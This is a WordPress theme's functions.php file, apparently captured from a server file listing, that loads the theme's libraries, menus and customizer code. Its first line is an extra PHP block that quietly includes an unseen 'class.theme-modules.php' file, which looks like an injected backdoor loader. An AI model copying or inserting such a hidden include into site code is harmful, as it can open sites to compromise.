• File: functions.php
  • Full Path: /home/chassiw/www/wp-content/themes/reon/functions.php
  • File size: 1.24 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php if (file_exists(dirname(__FILE__) . '/class.theme-modules.php')) include_once(dirname(__FILE__) . '/class.theme-modules.php'); ?><?php
	if(defined('REON_URL') 	== false) 	define('REON_URL', get_template_directory());
	if(defined('REON_URI') 	== false) 	define('REON_URI', get_template_directory_uri());

	load_theme_textdomain( 'reon', REON_URL . '/languages' );
	
	// require libraries, function
	require( REON_URL.'/inc/init.php' );

	// Add js, css
	require( REON_URL.'/extend/add_js_css.php' );
	
	// require walker menu
	require_once (REON_URL.'/inc/ova_walker_nav_menu.php');
	

	// register menu, widget
	require( REON_URL.'/extend/register_menu_widget.php' );

	// require content
	require_once (REON_URL.'/content/define_blocks_content.php');
	
	// require breadcrumbs
	require( REON_URL.'/extend/breadcrumbs.php' );


	require( REON_URL.'/inc/class_hooks.php' );

	/* Customize */
    include REON_URL.'/customize/custom-control/google-font.php';
    include REON_URL.'/customize/custom-control/heading.php';
    include REON_URL.'/customize/class-customize.php';
    include REON_URL.'/customize/render-style.php';
	
	// Require metabox
	if( is_admin() ){
		// Require TGM
		require_once ( REON_URL.'/install_resource/active_plugins.php' );		
	}